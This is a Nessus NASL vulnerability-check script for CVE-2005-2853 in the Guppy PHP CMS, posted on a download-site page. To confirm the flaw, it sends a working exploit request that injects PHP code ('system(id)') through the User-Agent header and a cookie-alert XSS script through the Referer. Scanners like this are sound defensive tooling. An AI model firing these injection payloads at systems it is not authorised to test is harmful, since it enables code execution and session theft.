⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 guppy_request_header_flaws.nasl

📁 漏洞扫描源码,可以扫描linux,windows,交换机路由器
💻 NASL
字号:
## Josh Zlatin-Amishav (josh at ramat dot cc)# GPLv2#  desc["english"] = "Synopsis :The remote web server contains a PHP script that allows for arbitrary code execution and cross-site scripting attacks.Description : The remote host is running Guppy, a CMS written in PHP.The remote version of this software does not properly sanitize inputto the Referer and User-Agent HTTP headers before using it in the'error.php' script.  A malicious user can exploit this flaw to injectarbitrary script and HTML code into a user's browser or, if PHP's'magic_quotes_gpc' seting is disabled, PHP code to be executed on theremote host subject to the privileges of the web server user id. See also : http://www.frsirt.com/english/advisories/2005/1639Solution : Upgrade to Guppy version 4.5.4 or later.Risk factor :Medium / CVSS Base Score : 6 (AV:R/AC:H/Au:NR/C:P/A:P/I:P/B:N)"; if (description) {  script_id(19943);  script_version("$Revision: 38 $");  script_cve_id("CVE-2005-2853");  script_bugtraq_id(14753);  name["english"] = "Guppy Request Header Injection Vulnerabilities";  script_name(english:name["english"]);   script_description(english:desc["english"]);   summary["english"] = "Checks for request header injection vulnerabilities in Guppy";  script_summary(english:summary["english"]);   script_category(ACT_ATTACK);  script_family(english:"CGI abuses");  script_copyright(english:"(C) 2005 Josh Zlatin-Amishav");  script_dependencies("http_version.nasl", "cross_site_scripting.nasl");  script_require_ports("Services/www", 80); script_exclude_keys("Settings/disable_cgi_scanning");  exit(0);}include("http_func.inc");include("http_keepalive.inc");include("global_settings.inc");port = get_http_port(default:80);if (!get_port_state(port)) exit(0);if (!can_host_php(port:port)) exit(0);# A simple alert.xss = "<script>alert(document.cookie);</script>";# Loop through CGI directories.foreach dir (cgi_dirs()) {  # Try to exploit the flaw.  req = string(    "GET ", dir, "/error.php?err=404 HTTP/1.1\r\n",    # nb: try to execute id.    "User-Agent: ", '"; system(id);#', "\r\n",    #     and try to inject some javascript.    "Referer: ", xss, "\r\n",    "Host: ", get_host_name(), "\r\n",    "\r\n"  );  res = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);  # We need to follow the 302 redirection  pat = "location: (.+)";  matches = egrep(string:res, pattern:pat);  if (matches) {    foreach match (split(matches)) {      match = chomp(match);      url = eregmatch(string:match, pattern:pat);      if (url == NULL) break;      url = url[1];      debug_print("url[", url, "]\n");      break;    }  }  if (url) {    req = http_get(item:string(dir, "/", url), port:port);    res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);    if (res == NULL) exit(0);    # Get results of id command.    pat = "^(uid=[0-9]+.*gid=[0-9]+.*)";    matches = egrep(string:res, pattern:pat);    if (matches) {      foreach match (split(matches)) {        match = chomp(match);        idres = eregmatch(string:match, pattern:pat);        if (idres == NULL) break;        idres = idres[1];        debug_print("idres[", idres, "]\n");        break;      }    }    # Check for the results of the id command.    if (idres)    {      report = string(        desc["english"],        "\n",        "The following is the output received from the 'id' command:\n",         "\n",        idres,        "\n"      );      security_warning(port, data:report);      exit(0);    }    # Check for XSS.    else if (xss >< res && !get_kb_item("www/"+port+"/generic_xss"))    {      security_warning(port);      exit(0);    }  }}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -